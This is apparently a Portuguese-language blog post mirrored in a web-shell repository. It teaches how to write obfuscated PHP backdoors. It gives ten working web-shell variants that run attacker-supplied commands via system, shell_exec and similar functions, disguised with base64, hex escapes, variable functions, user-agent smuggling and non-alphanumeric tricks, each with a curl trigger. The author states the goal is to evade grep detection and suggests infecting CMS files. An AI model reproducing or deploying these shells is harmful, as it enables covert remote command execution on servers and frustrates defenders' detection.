mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
378 lines
11 KiB
Markdown
378 lines
11 KiB
Markdown
|
Esse pequeno post é focado em uma das diferentes técnicas que venho estudando no PHP, mas direcionando no quesito de variação de código para backdoor web.
|
|||
|
|
|||
|
O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.
|
|||
|
|
|||
|
Foquei nas variáveis globais GET ,POST ,REQUEST.
|
|||
|
|
|||
|
#### As functions mais usadas:
|
|||
|
|
|||
|
```
|
|||
|
(PHP 4, PHP 5, PHP 7)
|
|||
|
shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
|
|||
|
string shell_exec ( string $cmd )
|
|||
|
EXEC-> php -r 'shell_exec("ls -la");'
|
|||
|
|
|||
|
(PHP 4, PHP 5, PHP 7)
|
|||
|
system — Executa um programa externo e mostra a saída
|
|||
|
string system ( string $command [, int &$return_var ] )
|
|||
|
EXEC-> php -r 'system("ls -la");'
|
|||
|
|
|||
|
(PHP 4, PHP 5, PHP 7)
|
|||
|
exec — Executa um programa externo
|
|||
|
string exec ( string $command [, array &$output [, int &$return_var ]] )
|
|||
|
EXEC-> php -r 'exec("ls -la",$var);print_r($var);'
|
|||
|
|
|||
|
(PHP 4, PHP 5, PHP 7)
|
|||
|
passthru — Executa um programa externo e mostra a saída crua
|
|||
|
void passthru ( string $command [, int &$return_var ] )
|
|||
|
EXEC-> php -r 'passthru("ls -la",$var);'
|
|||
|
```
|
|||
|
|
|||
|
#### Implementação simples:
|
|||
|
|
|||
|
```
|
|||
|
shell_exec:
|
|||
|
if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
|
|||
|
print_r($cmd);}
|
|||
|
|
|||
|
system:
|
|||
|
if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
|
|||
|
|
|||
|
exec:
|
|||
|
if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
|
|||
|
|
|||
|
passthru:
|
|||
|
if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Podemos usar as mesmas functions, porem de forma elaborada evitando que um simples grep -E revele nosso acesso.
|
|||
|
|
|||
|
#### DICAS:
|
|||
|
|
|||
|
- Uso de shellcode em valores fixos;
|
|||
|
- Array é vida! use sem moderação;
|
|||
|
- Concatenação de functions nativas & definição de variáveis.
|
|||
|
- base64_decode - encode(data) , bin2hex , error_reporting(0)
|
|||
|
- Use requests (get or post) que já existam no sistema;
|
|||
|
- Estude a criação de propriedades maliciosas em class’s do sistema, crie suas functions;
|
|||
|
- Manuseio de valores da variável global $_SERVER;
|
|||
|
- Estude métodos de infeção para arquivos CMS’s feitos em PHP;
|
|||
|
|
|||
|
#### Vamos para os exemplos
|
|||
|
|
|||
|
**EXEMPLO 01**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
|
|||
|
3. [DEFINE](http://php.net/manual/pt_BR/function.define.php)
|
|||
|
4. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
|
|||
|
5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ="))
|
|||
|
.define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php'
|
|||
|
|
|||
|
|
|||
|
|
|||
|
**EXEMPLO 02**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
|
|||
|
3. [ISSET](http://php.net/manual/pt_BR/function.isset.php)
|
|||
|
4. [PRINT](http://php.net/manual/pt_BR/function.print.php)
|
|||
|
5. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
|
|||
|
6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: c3lzdGVt=system
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0).($__=@base64_decode("c3lzdGVt"))
|
|||
|
.print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?0=id'
|
|||
|
**
|
|||
|
****EXEMPLO 03**Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
|
|||
|
3. [CREATE_FUNCTION](http://php.net/manual/pt_BR/function.create-function.php) - Cria uma função anônima (lambda-style)
|
|||
|
4. [SHELL_EXEC](http://php.net/manual/pt_BR/function.shell-exec.php)
|
|||
|
5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: ZWNobyhzaGVsbF9leGVjKCRfKSk7=echo(shell_exec($_));
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).($_=$_REQUEST[0])
|
|||
|
.($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?0=id'
|
|||
|
|
|||
|
**EXEMPLO 04**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
3. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: $_GET[1]=Nome da function, $_GET[2]=comando que será executado
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
|
|||
|
```
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname' **EXEMPLO 05** Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [EXTRACT](http://php.net/manual/pt_BR/function.extract.php)
|
|||
|
3. [GET_DEFINED_VARS](http://php.net/manual/pt_BR/function.get-defined-vars.php)
|
|||
|
4. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
5. [DEFINE](http://php.net/manual/pt_BR/function.define.php)
|
|||
|
6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: $_REQUEST[1]=Nome da function, $_REQUEST[2]=comando que será executado **CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).(extract($_REQUEST, EXTR_PREFIX_ALL))
|
|||
|
.($_=@get_defined_vars()['_REQUEST']).(define('_',$_[2])).(($_[1](_))).exit;
|
|||
|
```
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
**EXEMPLO 06**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [EXPLODE](http://php.net/manual/pt_BR/function.explode.php)
|
|||
|
3. [BASE64_DECODE](http://php.net/manual/pt_BR/function.base64-decode.php)
|
|||
|
4. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
5. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: SFRUUF9VU0VSX0FHRU5U=HTTP_USER_AGENT
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]))
|
|||
|
.($_[0]("{$_[1]}")).exit;
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php' --user-agent 'system,id;ls -la'
|
|||
|
|
|||
|
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
**EXEMPLO 07**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [GET_DEFINED_VARS](http://php.net/manual/pt_BR/function.get-defined-vars.php)
|
|||
|
3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
4. [VARIABLE SHELLCODE](https://pt.wikipedia.org/wiki/Shellcode)
|
|||
|
5. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
|
|||
|
6. [EXIT](http://php.net/manual/pt_BR/function.exit.php)
|
|||
|
|
|||
|
Variáveis: \x30=0, \x73=s, \x79=y , \x73=s, \x74=t, \x65=e, \x6D=m
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).($_[0][]=@$_GET["\x30"])
|
|||
|
.($_[1][] = "\x73").($_[1][] = "\x79").($_[1][] = "\x73")
|
|||
|
.($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] = "\x6D")
|
|||
|
.($__=@get_defined_vars()['_'][1]).($___.=$__[0])
|
|||
|
.($___.=$__[1]).($___.=$__[2]).($___.=$__[3])
|
|||
|
.($___.=$__[4]).($___.=$__[5]).(($___("{$_[0][0]}")).exit);
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?0=id;uname%20-a'
|
|||
|
|
|||
|
**EXEMPLO 08**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [STR_REPLACE](http://php.net/manual/pt_BR/function.str-replace.php)
|
|||
|
3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
|
|||
|
Variáveis: $_REQUEST[0]=Comando que será executado
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).(str_replace(['$','@','#'],''
|
|||
|
,'s$##y@#$@#$@#$@s$#$@#$@#$@$te$#@#$m')).($_("{$_REQUEST[0]}"));
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php?0=id
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
**
|
|||
|
****EXEMPLO 09**
|
|||
|
Functions:
|
|||
|
|
|||
|
1. [ERROR_REPORTING](https://secure.php.net/manual/pt_BR/function.error-reporting.php)
|
|||
|
2. [STR_REPLACE](http://php.net/manual/pt_BR/function.str-replace.php)
|
|||
|
3. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
4. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
|
|||
|
|
|||
|
Variáveis: $_POST['shellrox']=Comando que será executado
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
(error_reporting(0)).($_=[("\x73\x79").("\x73")
|
|||
|
.("\x74\x65\x6d"),"\x73\x68\x65\x6c","\x6c\x72\x6f\x78"])
|
|||
|
.($_[0]($_POST[$_[1].$_[2]]));
|
|||
|
```
|
|||
|
|
|||
|
|
|||
|
Execução: curl -d "shellrox=id;uname -a" -X POST 'http://localhost/shell.php'
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
**
|
|||
|
****EXEMPLO 10** Functions:
|
|||
|
|
|||
|
1. [NON ALPHA NUMERIC](http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/)
|
|||
|
2. [VARIABLE FUNCTIONS](http://php.net/manual/pt_BR/functions.variable-functions.php)
|
|||
|
3. [SYSTEM](http://php.net/manual/pt_BR/function.system.php)
|
|||
|
|
|||
|
**CODE:**
|
|||
|
|
|||
|
```
|
|||
|
$_=""; # we need a blank string to start
|
|||
|
$_[+$_]++; # access part of the string to convert to an array
|
|||
|
$_=$_.""; # convert the array into a string of "Array"
|
|||
|
$_=$_[+""]; # access the 0 index of the string "Array" which is "A"
|
|||
|
|
|||
|
# INCREMENTANDO VALORES PARA ACHAR AS LETRAS
|
|||
|
# NO CASO QUERO MONTAR A STRING SYSTEM
|
|||
|
|
|||
|
($_++); #A
|
|||
|
($_++); #B
|
|||
|
($_++); #C
|
|||
|
($_++); #D
|
|||
|
# PRIMEIRA LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
|
|||
|
($___[]=$_++);#E
|
|||
|
($_++); #F
|
|||
|
($_++); #G
|
|||
|
($_++); #H
|
|||
|
($_++); #I
|
|||
|
($_++); #J
|
|||
|
($_++); #K
|
|||
|
($_++); #L
|
|||
|
```
|
|||
|
|
|||
|
`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#M
|
|||
|
|
|||
|
```
|
|||
|
($_++); #N
|
|||
|
($_++); #O
|
|||
|
($_++); #P
|
|||
|
($_++); #Q
|
|||
|
($_++); #R
|
|||
|
```
|
|||
|
|
|||
|
`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#S
|
|||
|
|
|||
|
`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#T
|
|||
|
|
|||
|
```
|
|||
|
($_++); #U
|
|||
|
($_++); #V
|
|||
|
($_++); #W
|
|||
|
($_++); #X
|
|||
|
```
|
|||
|
|
|||
|
`# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO` ($___[]=$_++);#Y
|
|||
|
|
|||
|
```
|
|||
|
($_++);#Z
|
|||
|
|
|||
|
|
|||
|
# DEBUG DO ARRAY:
|
|||
|
/* Array
|
|||
|
(
|
|||
|
[0] => E
|
|||
|
[1] => M
|
|||
|
[2] => S
|
|||
|
[3] => T
|
|||
|
[4] => Y
|
|||
|
)
|
|||
|
*/
|
|||
|
|
|||
|
# MONTAR STRING COM OS CAMPOS DO ARRAY $___
|
|||
|
$_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1];
|
|||
|
|
|||
|
# USANDO TÉCNICA DE FUNCTION ANONIMA PARA EXECUÇÃO
|
|||
|
$_____('id;uname -a');
|
|||
|
VERSÃO MINIMALISTA:
|
|||
|
($_="").($_[+$_]++).($_=$_."").($_=$_[+""]).($_++)
|
|||
|
.($_++).($_++).($_++).($___[]=$_++).($_++).($_++)
|
|||
|
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
|
|||
|
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
|
|||
|
.($___[]=$_++).($_++).($_++).($_++).($_++)
|
|||
|
.($___[]=$_++).($_++)
|
|||
|
.($_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1])
|
|||
|
.($_____('id;uname -a'));
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
Execução: curl -v 'http://localhost/shell.php'
|
|||
|
|
|||
|
#### Observação: Existem outras milhares de técnicas, e tentarei fazer outros posts sobre.
|
|||
|
|
|||
|
#### Referências
|
|||
|
|
|||
|
- http://php.net/manual/en/language.operators.execution.php#language.operators.execution
|
|||
|
- https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
|
|||
|
- http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
|
|||
|
- http://php.net/manual/pt_BR/function.create-function.php
|
|||
|
- https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
|
|||
|
- http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
|
|||
|
- http://php.net/manual/pt_BR/function.extract.php
|
|||
|
- http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
|
|||
|
- https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
|
|||
|
- https://aw-snap.info/articles/backdoor-examples.php
|
|||
|
- http://php.net/manual/pt_BR/reserved.variables.server.php
|
|||
|
- http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
|
|||
|
- https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
|
|||
|
- http://php.net/manual/en/functions.variable-functions.php
|
|||
|
- http://php.net/manual/pt_BR/function.exec.php
|
|||
|
- http://php.net/manual/pt_BR/function.shell-exec.php
|
|||
|
- http://php.net/manual/pt_BR/function.system.php
|
|||
|
- http://php.net/manual/pt_BR/function.passthru.php
|
|||
|
- http://php.net/manual/pt_BR/function.get-defined-vars.php
|
|||
|
- http://php.net/manual/pt_BR/function.extract.php
|